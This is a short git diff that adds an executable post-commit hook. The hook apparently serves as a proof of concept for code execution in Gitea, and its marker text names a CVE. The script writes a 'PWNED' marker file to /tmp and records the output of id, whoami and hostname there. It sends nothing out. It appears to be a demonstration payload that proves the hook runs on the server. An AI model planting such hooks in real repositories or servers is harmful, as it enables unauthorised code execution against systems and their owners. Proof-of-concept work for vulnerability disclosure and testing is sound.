diff --git a/hooks/post-commit b/hooks/post-commit new file mode 100755 index 0000000..6c43288 --- /dev/null +++ b/hooks/post-commit @@ -0,0 +1,6 @@ +#!/bin/sh + +echo PWNED_by_CVE202660004 > /tmp/gitea_pwn_$(date +%s).txt +id >> /tmp/gitea_pwn.txt +whoami >> /tmp/gitea_pwn.txt +hostname >> /tmp/gitea_pwn.txt